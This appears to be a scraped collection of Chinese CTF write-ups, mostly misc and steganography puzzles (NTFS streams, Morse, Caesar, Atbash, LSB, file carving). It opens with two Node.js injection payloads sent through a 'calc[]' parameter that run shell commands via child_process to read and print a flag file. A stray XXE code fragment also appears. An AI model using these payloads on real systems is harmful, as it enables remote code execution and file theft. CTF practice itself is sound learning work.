1 calc[]=rObject.values(require('child_process'))[5]('cat${IFS}/G*>1')&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
1 2 calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
MISC [SWPU 2019]漂流记的马里奥 NTFS隐写
改为rar打开可以看到提示是NTFS隐写
可以利用7z打开直接看到
也可以运行后直接
得到已合1.TXT
然后notepad 1.txt:flag.txt
得到
或者也可以binwalk分解exe
swupctf{ddg_is_cute}
[羊城杯 2021]签到题
这题有点扯拐,有点脑筋急转弯惹 首先解压文件后得到一张gif,然后一共12帧,需要我们逐帧分析,每帧与数字的关联 图1 28准则 图2 8卦阵 图3 30而立之年 图4 北斗7星 图5 4大才子 图6 歼-20 图7 2只黄鹂鸣翠柳 图8 17来看流星雨 图9 23号乔丹 图10 1马当先 图11 12黄道 图12 新闻联播每晚19点首播 可以得出28-08-30-07-04-20-02-17-23-01-12-19,而将这串用MD5加密后就能得出32位的flag了 (太怪了.jpg)
[SWPU 2020]找找吧 压缩包加密了,拖到010打开末尾发现密码
解密,音频发现摩斯
-…/…-/…–/—-./-…/…–/./—-./…—/-…/—–/.—-/…—/.-/.-/-…
密码为n1ce_try
解压后得到一个png和一个gif
png改宽高得到提示凯撒
git分帧得到一个字符串,凯撒爆破
bFyd_w1l3_Cah
[鹤城杯 2021]easy_crypto
[SWPUCTF 2022 新生赛]善哉善哉 010结尾发现一串摩斯,这里是中文摩斯,试了好几个网站都不行
https://gseen.com/online_tools/encryption/morse
之后新佛曰解密
1 2 3 新 佛 曰 : 諸 隸 僧 降 閦 吽 諸 閦 陀 摩 隸 僧 缽 薩 閦 嚤 降 斯 咤 須 閦 色 嘚 嘇 叻 閦 夷 喃 哆 嚴 吶 菩 若 嘇 耨 咒 閦 愍 閦 囉 耨 所 嚤 閦 嘇 閦 降 陀 叻 羅 宣 吽 眾 阿 愍 菩 修 心 降 叻 陀 嚤 吽 蜜 吶 斯 閦 嘚 愍 吽 若 宣 哆 色 塞 囉 伏 嘇 愍 降 嘇 吽 闍 兜 喼 如 施主,此次前来,不知有何贵干?
最后md5
加密一下32位MD5
1 2 3 ss4 = '施主,此次前来,不知有何贵干?' import hashlib print(hashlib.md5(ss4.encode('utf8')).hexdigest())
1 2 if xxe.username!=username|| xxe.password!=password: return '<return>false</return>'
[HDCTF 2023]MasterMisc 给了压缩包的6个碎片
kali里合成一个压缩包
解压爆破密码为5483
图片大小一看就不对,先拖进010看看
foremost分离(binwalk分离出来的奇奇怪怪,不太理解)
foremost -i topic.png
其中一张图片存在宽高
wav存在频谱瘾写
再次使用010editor检查topic.png文件,搜索IEND来检查png文件结尾处,在第2个png文件和wav文件交界处,发现flag第3部分
[HGAME 2022 week1]好康的流量 追踪tcp流发现一个base64的图片,复制转base64
拽去看lsb,发现
解密得到一部分flag
hgame{ez_1mg_Steg4n 0graphy}
lsb瘾写得到后半段
Steg4n0graphy}
[SWPUCTF 2021 新生赛]我的银行卡密码 题目名称银行卡密码,银行卡密码都是数字,压缩包密码也是数字喽
看到里面的内容之后,我蒙了
93 53 63 71 51 63 41 51 83 63 23 23 93 62 61 94 93 71 41 92 41 71 63 41 51 31 83 43 41 21 81 22 21 74 42
The encryption scheme of next stage is decided by the last letters.下一阶段的加密方案由最后一个字母决定。
T1:@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@
T2:@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@
T3:@@@@@@@@@@@@@@@@@ @@@@@@@
T4:@@@@@@@@ @@@@@@ @@@
NSSCTF{REVERSE(@@@@@@@@ )}
根据题目标签
第一个大概率是键盘密码
ylopjogjvoccynmzypgxgpogjdvigatbash
T1:atbash是埃特八什码 ylopjogjvoccynmzypgxgpogjdvig
bolkqltqelxxbmnabktctkltqwert
T2:qwert 键盘坐标 bolkqltqelxxbmnabktctklt
xisraseacsuuxzykxreverse
T3 :reverse xisraseacsuuxzykx
xkyzxuuscaesarsix
T4:caesar six 凯撒6 xkyzxuus
restroom
NSSCTF{moortser}